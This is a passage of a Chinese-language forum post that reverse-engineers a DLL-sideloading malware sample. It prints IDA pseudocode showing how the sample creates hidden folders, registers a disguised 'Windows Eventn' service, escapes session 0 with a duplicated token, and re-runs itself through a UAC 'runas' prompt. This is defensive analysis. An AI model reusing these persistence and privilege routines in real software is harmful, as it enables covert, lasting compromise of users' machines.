  DWORD cbData; // [esp+8h] [ebp-43Ch] BYREF
  BYTE Data[4]; // [esp+Ch] [ebp-438h] BYREF
  CHAR SubKey[1024]; // [esp+10h] [ebp-434h] BYREF
  char v6[16]; // [esp+410h] [ebp-34h] BYREF
  __m128i si128; // [esp+420h] [ebp-24h]
  char s__%s[8]; // [esp+430h] [ebp-14h] BYREF
  CHAR ValueName[8]; // [esp+438h] [ebp-Ch] BYREF

  strcpy(s__%s, "s\\%s");
  *(__m128i *)v6 = _mm_load_si128((const __m128i *)&xmmword_6E5B0FD0);
  si128 = _mm_load_si128((const __m128i *)&xmmword_6E5B0F10);
  memset(SubKey, 0, sizeof(SubKey));
  sprintf(SubKey, v6, ServiceName);             // "Windows Eventn"
  if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, SubKey, 0, 1u, &phkResult) )// 如果状态返回ERROR_SUCCESS(0x0) 则表示打开成功(也即返回值为0)
  {
    cbData = 4;
    strcpy(ValueName, "Start");
    if ( !RegQueryValueExA(phkResult, ValueName, 0, &Type, Data, &cbData) )// 如果状态返回ERROR_SUCCESS(0x0) 则表示查询成功(也即返回值为0)
    {
      RegCloseKey(phkResult);
      return *(_DWORD *)Data == 2;
    }
    RegCloseKey(phkResult);
  }
  return 0;
}

通过对RegOpenKeyExA的引用查询发现了一个关键的查询注册表函数,我们根据功能将该函数命名为is_service_existed;

is_service_existed处于dllmain入口点的调用顺序链中,如IDA生成的伪代码所示,其逻辑非常简单,就是根据返回的API的状态信息判断注册表中是否存在目标服务,随后返回TRUE或FALSE;

由于is_service_existed的调用者是RegServiceAndRun,这就成了我们接下来的分析目标。

RegServiceAndRun函数的分析

void __cdecl __noreturn RegServiceAndRun(int a1, int a2)
{
  SC_HANDLE hSCManager; // eax
  void *hSCObject_1; // edi
  char *hService; // eax
  char *hService_1; // esi
  BOOL started; // eax
  int v7; // edi
  char *v8; // eax
  const CHAR *HidenPath_1; // eax
  const CHAR *HidenPath; // eax
  int v11; // ecx
  const CHAR *TargetPath_1; // eax
  const CHAR *HijackExeName_2; // ecx
  void **v14; // edi
  void **v15; // esi
  int v16; // [esp-14h] [ebp-228h] BYREF
  int v17; // [esp-10h] [ebp-224h]
  char *hSCObject; // [esp+0h] [ebp-214h]
  int lpThreadParameter; // [esp+4h] [ebp-210h]
  int v20; // [esp+8h] [ebp-20Ch]
  void *v21[6]; // [esp+14h] [ebp-200h] BYREF
  void *v22[6]; // [esp+2Ch] [ebp-1E8h] BYREF
  void *v23[6]; // [esp+44h] [ebp-1D0h] BYREF
  void *v24[6]; // [esp+5Ch] [ebp-1B8h] BYREF
  void *v25[6]; // [esp+74h] [ebp-1A0h] BYREF
  int *v26; // [esp+8Ch] [ebp-188h]
  void *v27[6]; // [esp+90h] [ebp-184h] BYREF
  LPCSTR TargetPathWithExe[5]; // [esp+A8h] [ebp-16Ch] BYREF
  unsigned int n0x10_1; // [esp+BCh] [ebp-158h]
  LPCSTR lpPathName[5]; // [esp+C0h] [ebp-154h] BYREF
  unsigned int n0x10; // [esp+D4h] [ebp-140h]
  void *v32; // [esp+D8h] [ebp-13Ch]
  int v33; // [esp+DCh] [ebp-138h]
  SERVICE_TABLE_ENTRYA ServiceStartTable; // [esp+E0h] [ebp-134h] BYREF
  char v35[4]; // [esp+E8h] [ebp-12Ch] BYREF
  int v36; // [esp+ECh] [ebp-128h]
  CHAR HijackExeName[264]; // [esp+F0h] [ebp-124h] BYREF
  char .exe[24]; // [esp+1F8h] [ebp-1Ch] BYREF
  int n6; // [esp+210h] [ebp-4h]

  if ( is_service_existed() )
  {
    ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)ServiceMain;// 如果服务存在则直接开始派发创建白进程
    ServiceStartTable.lpServiceName = ServiceName;// "Windows Eventn"
    *(_DWORD *)v35 = 0;
    v36 = 0;
    if ( !StartServiceCtrlDispatcherA(&ServiceStartTable) )
    {
      hSCManager = OpenSCManagerA(0, 0, 0x20000u);
      hSCObject_1 = hSCManager;
      if ( hSCManager )
      {
        hService = (char *)OpenServiceA(
                             hSCManager,
                             ServiceName,       // "Windows Eventn"
                             0x10u);
        hService_1 = hService;
        if ( hService )
        {
          started = StartServiceA(hService, 0, 0);
          hSCObject = hService_1;
          if ( started )
          {
            CloseServiceHandle(hSCObject);
            CloseServiceHandle(hSCObject_1);
            ExitProcess(0);
          }
          CloseServiceHandle(hSCObject);
        }
        CloseServiceHandle(hSCObject_1);
      }
    }
  }
  else
  {
    v7 = sub_6E5778FD(lpThreadParameter, v20);
    n6 = 6;
    sub_6E577FBA(lpThreadParameter, v20);
    sub_6E57B6B1(asc_6E5AF24C);                 // "\\"
    v8 = (char *)sub_6E57803A();
    sub_6E57B6B1(v8);
    sub_6E57B6B1(asc_6E5B0AE4);                 // "~"
    sub_6E57B769(v7);
    std::string::_Tidy(v22, 1, 0);
    LOBYTE(n6) = 7;
    std::string::_Tidy(v21, 1, 0);
    LOBYTE(n6) = 8;
    std::string::_Tidy(v23, 1, 0);
    LOBYTE(n6) = 9;
    std::string::_Tidy(v25, 1, 0);
    LOBYTE(n6) = 10;
    std::string::_Tidy(v24, 1, 0);
    HidenPath_1 = (const CHAR *)lpPathName;
    hSCObject = 0;
    if ( n0x10 >= 0x10 )
      HidenPath_1 = lpPathName[0];
    CreateDirectoryA(HidenPath_1, (LPSECURITY_ATTRIBUTES)hSCObject);
    HidenPath = (const CHAR *)lpPathName;
    hSCObject = (char *)7;
    if ( n0x10 >= 0x10 )
      HidenPath = lpPathName[0];
    SetFileAttributesA(HidenPath, (DWORD)hSCObject);// READONLY|HIDDEN|SYSTEM
    strcpy(.exe, ".exe");
    sub_6E578099(v35);
    sub_6E57B6F7(v11);
    LOBYTE(n6) = 11;
    sub_6E57B6B1(v35);
    LOBYTE(n6) = 12;
    sub_6E57B6B1(.exe);
    LOBYTE(n6) = 14;
    std::string::_Tidy(v24, 1, 0);
    LOBYTE(n6) = 15;
    std::string::_Tidy(v25, 1, 0);
    sub_6E577F2F(lpThreadParameter, v20);
    LOBYTE(n6) = 16;
    v32 = 0;
    v33 = 0;
    v32 = (void *)sub_6E57B4E2(0, 0);
    LOBYTE(n6) = 19;
    GetModuleFileNameA(0, HijackExeName, 0x104u);
    TargetPath_1 = (const CHAR *)TargetPathWithExe;
    hSCObject = 0;
    if ( n0x10_1 >= 0x10 )
      TargetPath_1 = TargetPathWithExe[0];
    CopyFileA(HijackExeName, TargetPath_1, (BOOL)hSCObject);// 将当前目录下的白程序复制到创建的隐藏文件夹
                                                // ExistingFileName = "C:\Users\Administrator\Desktop\Test\2024_12_29\D82yB~d\BaiduNetdiskForBusiness.exe"
                                                // NewFileName = "C:\Users\Administrator\Videos\9F1E2B34~d\Hmzdv.exe"
                                                // FailIfExists = FALSE
    Sleep(0x64u);
    v26 = &v16;
    std::string::string(&v16, (int)v27);
    LOBYTE(n6) = 19;
    sub_6E577AD4(v16, v17);
    v26 = &v16;
    std::string::string(&v16, (int)lpPathName);
    LOBYTE(n6) = 19;
    sub_6E577E26(v16, v17);
    HijackExeName_2 = (const CHAR *)TargetPathWithExe;
    if ( n0x10_1 >= 0x10 )
      HijackExeName_2 = TargetPathWithExe[0];
    SetServiceForHijackFile(HijackExeName_2, 0);
    Sleep(0x3E8u);
    sub_6E5770A4();
    LOBYTE(n6) = 22;
    v14 = *(void ***)v32;
    *(_DWORD *)v32 = v32;
    *((_DWORD *)v32 + 1) = v32;
    v33 = 0;
    if ( v14 != v32 )
    {
      do
      {
        v15 = (void **)*v14;
        std::string::_Tidy(v14 + 2, 1, 0);
        j__free(v14);
        v14 = v15;
      }
      while ( v15 != v32 );
    }
    LOBYTE(n6) = 16;
    j__free(v32);
    LOBYTE(n6) = 15;
    std::string::_Tidy(v27, 1, 0);
    LOBYTE(n6) = 10;
    std::string::_Tidy((void **)TargetPathWithExe, 1, 0);
    n6 = -1;
    std::string::_Tidy((void **)lpPathName, 1, 0);
  }
  sub_6E576A22(lpThreadParameter, v20);
}

可以看见整个函数几乎就是以is_service_existed的返回结果来运行的,其中的字符串操作函数我没有仔细分析,但根据动态调试的结果我猜测与生成随机字符串有关;

而整个函数则可以分为两部分:

  1. is_service_existed为FALSE时的操作

  2. is_service_existed为TRUE时的操作

is_service_existed为FALSE时

当is_service_existed返回FALSE则代表当前白加黑样本是初次运行,其执行的逻辑则在整体上更简单些,值得关注的点就在于文件操作函数与目录操作函数,伪代码中的相关API已经标上注释,基本行为可以被概括为:

  1. CreateDirectoryA设置参数,创建隐藏目录

  2. CopyFileA复制当前运行进程目录下的所有文件

  3. 注册隐藏目录下的白程序BaiduNetdiskForBusiness为自动启动的系统服务

is_service_existed为TRUE时

typedef struct _SERVICE_TABLE_ENTRYA {
  LPSTR                    lpServiceName;
  LPSERVICE_MAIN_FUNCTIONA lpServiceProc;
} SERVICE_TABLE_ENTRYA, *LPSERVICE_TABLE_ENTRYA;

而当is_service_existed返回结果为TRUE时,则代表样本已经被执行过,可以直接略过初次运行的权限维持操作,直接派发一个已经被注册的服务实例;

windows中对于系统服务程序的入口点有特殊规定,也即服务入口必须通过一个名为SERVICE_TABLE_ENTRYA的结构体指定服务的入口点,随后通过StartServiceCtrlDispatcherA派发,因而当is_service_existed为TRUE时我们需要关注的就是SERVICE_TABLE_ENTRYA所指定的实例,也即伪代码中的ServiceMain。


SERVICE_STATUS_HANDLE __stdcall ServiceMain(int a1, int a2)
{
  SERVICE_STATUS_HANDLE n3; // eax
  HANDLE Thread; // esi
  HANDLE Process; // eax
  _OSVERSIONINFOA VersionInformation; // [esp+10h] [ebp-2B0h] BYREF
  CHAR Filename[264]; // [esp+A8h] [ebp-218h] BYREF
  CHAR ApplicationName[268]; // [esp+1B0h] [ebp-110h] BYREF

  n3 = RegisterServiceCtrlHandlerA(
         ServiceName,                           // "Windows Eventn"
         HandlerProc);
  n3_0 = n3;
  if ( n3 )
  {
    sub_6E577322(1);
    sub_6E577322(0);
    VersionInformation.dwOSVersionInfoSize = 148;
    GetVersionExA(&VersionInformation);
    if ( VersionInformation.dwPlatformId == 2 )
    {
      if ( VersionInformation.dwMajorVersion >= 6 )// 当前系统高于Windows Server2003/Windowsx XP
      {
        sub_6E57769B();
        GetModuleFileNameA(0, Filename, 0x104u);
        wsprintfA(ApplicationName, "%s", Filename);
        Process = SESSION_CreateProcess(ApplicationName, 0);
        CloseHandle(Process);
      }
      else
      {
        do
        {
          Sleep(0x64u);
          Thread = CreateThread(
                     0,
                     0,
                     (LPTHREAD_START_ROUTINE)StartAddress,
                     ServiceName,               // "Windows Eventn"
                     0,
                     0);
          WaitForSingleObject(Thread, 0xFFFFFFFF);
          CloseHandle(Thread);
        }
        while ( n3 != 3 && n3 != 1 );
      }
    }
    do
    {
      Sleep(0x3E8u);
      sub_6E5775CA();
      Sleep(0x1F4u);
      n3 = n3;
    }
    while ( n3 != 3 && n3 != 1 && !dword_6E5BC430 );
  }
  return n3;
}

ServiceMain只做了一个操作,也即根据当前系统版本号信息来决定是通过突破SESSION 0会话来创建进程,还是直接通过应用程序的API创建线程实例在当前白进程内映射空间

之所以如此判断是由于在早期windows版本中(也即dwMajorVersion < 6),服务与应用程序处于相同会话运行,但到了Windows Vista及之后,服务与应用程序的会话便被隔离开了,微软的官方文档对dwMajorVersion的版本号意义做了相应说明。


Operating systemVersion numberdwMajorVersiondwMinorVersionOther
Windows 1010.0*100OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION
Windows Server 201610.0*100OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION
Windows 8.16.3*63OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION
Windows Server 2012 R26.3*63OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION
Windows 86.262OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION
Windows Server 20126.262OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION
Windows 76.161OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION
Windows Server 2008 R26.161OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION
Windows Server 20086.060OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION
Windows Vista6.060OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION
Windows Server 2003 R25.252GetSystemMetrics(SM_SERVERR2) != 0
Windows Server 20035.252GetSystemMetrics(SM_SERVERR2) == 0
Windows XP5.151Not applicable
Windows 20005.050Not applicable

HANDLE __fastcall SESSION_CreateProcess(LPCSTR lpApplicationName, CHAR *lpCommandLine)
{
  HANDLE hProcess; // ebx
  HMODULE huserenv.dll; // edi
  HANDLE CurrentProcess; // eax
  FARPROC ProcAddress; // [esp+4h] [ebp-A8h]
  struct _STARTUPINFOA StartupInfo; // [esp+Ch] [ebp-A0h] BYREF
  struct _PROCESS_INFORMATION ProcessInformation; // [esp+54h] [ebp-58h] BYREF
  LPVOID lpEnvironment; // [esp+64h] [ebp-48h] BYREF
  HANDLE TokenHandle; // [esp+68h] [ebp-44h] BYREF
  HANDLE phNewToken; // [esp+6Ch] [ebp-40h] BYREF
  DWORD TokenInformation; // [esp+70h] [ebp-3Ch] BYREF
  __m128i si128; // [esp+74h] [ebp-38h] BYREF
  CHAR ProcName[16]; // [esp+84h] [ebp-28h] BYREF
  char tBlock[8]; // [esp+94h] [ebp-18h] BYREF
  CHAR userenv.dll[12]; // [esp+9Ch] [ebp-10h] BYREF

  hProcess = 0;
  strcpy(tBlock, "tBlock");
  *(__m128i *)ProcName = _mm_load_si128((const __m128i *)&xmmword_6E5B0FC0);
  strcpy(userenv.dll, "userenv.dll");
  huserenv.dll = LoadLibraryA(userenv.dll);
  ProcAddress = GetProcAddress(huserenv.dll, ProcName);
  lpEnvironment = 0;
  TokenInformation = 0;
  TokenHandle = 0;
  phNewToken = 0;
  memset(&StartupInfo, 0, sizeof(StartupInfo));
  memset(&ProcessInformation, 0, sizeof(ProcessInformation));
  si128 = _mm_load_si128((const __m128i *)&xmmword_6E5B0DF0);
  StartupInfo.cb = 68;
  StartupInfo.lpDesktop = (LPSTR)&si128;
  CurrentProcess = GetCurrentProcess();
  OpenProcessToken(CurrentProcess, 0xF01FFu, &TokenHandle);
  DuplicateTokenEx(TokenHandle, 0x2000000u, 0, SecurityIdentification, TokenPrimary, &phNewToken);
  if ( WTSGetActiveConsoleSessionId )
  {
    TokenInformation = WTSGetActiveConsoleSessionId();
    SetTokenInformation(phNewToken, TokenSessionId, &TokenInformation, 4u);
    ((void (__stdcall *)(LPVOID *, HANDLE, _DWORD))ProcAddress)(&lpEnvironment, phNewToken, 0);
    CreateProcessAsUserA(
      phNewToken,
      lpApplicationName,
      lpCommandLine,
      0,
      0,
      0,
      0x430u,
      lpEnvironment,
      0,
      &StartupInfo,
      &ProcessInformation);
    hProcess = ProcessInformation.hProcess;
    CloseHandle(phNewToken);
    CloseHandle(TokenHandle);
  }
  if ( huserenv.dll )
    FreeLibrary(huserenv.dll);
  return hProcess;
}

SESSION_CreateProcess是在dwMajorVersion >= 6条件成立后进入的函数,我之所以如此命名是因为如官方文档说明的那样,高版本的windows为了保证系统服务与应用进程隔离的安全性,常规的CreateProcess函数已经被替换,根据分析可以得出SESSION_CreateProcess这一自定义函数,就是对从获得令牌到最终调用CreateProcessAsUserA一系列行为的封装

CreateProcessAsUserA 函数(processthreadsapi.h)

创建一个新进程及其主线程。 新进程在由指定令牌表示的用户的安全上下文中运行。

通常,调用 CreateProcessAsUser 函数的进程必须具有 SE_INCREASE_QUOTA_NAME 权限,并且如果令牌不可分配,可能需要 SE_ASSIGNPRIMARYTOKEN_NAME 特权。

如果此函数失败并 ERROR_PRIVILEGE_NOT_HELD (1314),请改用 CreateProcessWithLogonW 函数。

CreateProcessWithLogonW 不需要特殊权限,但必须允许指定的用户帐户以交互方式登录。 通常,最好使用 CreateProcessWithLogonW 创建具有备用凭据的进程。

动态调试显示CreateProcessAsUserA所启动的二进制文件,就是被随机命名后的白程序BaiduNetdiskForBusiness


RegServiceAndRun的调用链条

int sub_6E5768B1()
{
  int v1; // [esp+0h] [ebp-8Ch]
  int v2; // [esp+4h] [ebp-88h]
  void **v3[3]; // [esp+8h] [ebp-84h] BYREF
  void *v4[25]; // [esp+14h] [ebp-78h] BYREF
  int v5; // [esp+88h] [ebp-4h]

  memset(v3, 0, sizeof(v3));
  sub_6E5819A7(v3);
  v5 = 0;
  sub_6E581A43(v3, v4);
  LOBYTE(v5) = 1;
  if ( !v4[4] )
    ExitProcess(0);
  if ( IsUserAnAdmin() )                        // 如果当前程序管理员权限运行则通过注册服务维权
    RegServiceAndRun(v1, v2);
  run_as_admin();
  LOBYTE(v5) = 0;
  sub_6E57697D(v4);
  v5 = -1;
  return sub_6E57489E(v3);
}

最后xerf到sub_6E5768B1()处,想要注册系统服务必须拥有管理员权限,如果不具有全局则会进入run_as_admin之中

BOOL run_as_admin()
{
  BOOL IsMember_1; // eax
  BOOL result; // eax
  SHELLEXECUTEINFOA pExecInfo; // [esp+4h] [ebp-154h] BYREF
  PSID pSid; // [esp+40h] [ebp-118h] BYREF
  BOOL IsMember; // [esp+44h] [ebp-114h] BYREF
  _SID_IDENTIFIER_AUTHORITY pIdentifierAuthority; // [esp+48h] [ebp-110h] BYREF
  CHAR Filename[260]; // [esp+50h] [ebp-108h] BYREF

  *(_WORD *)&pIdentifierAuthority.Value[4] = 1280;
  *(_DWORD *)pIdentifierAuthority.Value = 0;
  IsMember_1 = AllocateAndInitializeSid(&pIdentifierAuthority, 2u, 0x20u, 0x220u, 0, 0, 0, 0, 0, 0, &pSid);
  IsMember = IsMember_1;
  if ( IsMember_1 )
  {
    CheckTokenMembership(0, pSid, &IsMember);
    FreeSid(pSid);
    IsMember_1 = IsMember;
  }
  if ( IsMember_1 )
    return 0;
  memset(Filename, 0, sizeof(Filename));
  GetModuleFileNameA(0, Filename, 0x104u);
  pExecInfo.cbSize = 60;
  memset(&pExecInfo.fMask, 0, 0x38u);
  pExecInfo.lpVerb = aRunas;                    // "runas"  runas:以管理员身份启动应用程序。用户帐户控制 (UAC) 将提示用户同意以提升权限运行应用程序或输入用于运行该应用程序的管理员帐户的凭据。
  pExecInfo.nShow = 5;
  pExecInfo.lpFile = Filename;
  result = ShellExecuteExA(&pExecInfo);
  if ( result )
    ExitProcess(0);                             // 重新以管理员权限运行shellcode并退出当前进程
  return result;
}

相应功能已被标注,至此shellcode的存活机制也被分析完毕。



总结

总的来说样本中规中矩,该做的一些OPSEC也做了,最后剩下的部分就是远控功能的网络行为分析,感兴趣的可以自己继续探索,或者等哪天我闲着没事了发个补全篇,请在安全环境下分析此样本。


参考

03aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8X3u0D9L8$3N6K6i4K6u0W2j5$3!0E0i4K6u0r3M7$3q4C8N6i4u0S2y4e0t1I4i4K6u0r3M7q4)9J5c8U0p5#2x3U0f1$3z5e0R3$3i4K6u0W2K9s2c8E0L8l9`.`.

667K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8Y4c8Q4x3V1j5I4y4e0l9%4y4W2)9K6c8Y4c8A6L8h3g2Q4y4h3k6Q4y4h3j5I4x3K6p5I4i4K6y4p5c8%4q4B7P5s2g2A6M7h3#2%4N6p5c8K6c8o6N6o6c8K6N6p5P5f1N6A6c8o6S2p5f1X3W2s2x3@1q4Q4x3U0f1K6c8o6y4^5



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2025-1-9 08:49 被Dr_Knox编辑 ,原因: 上传样本
上传的附件:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回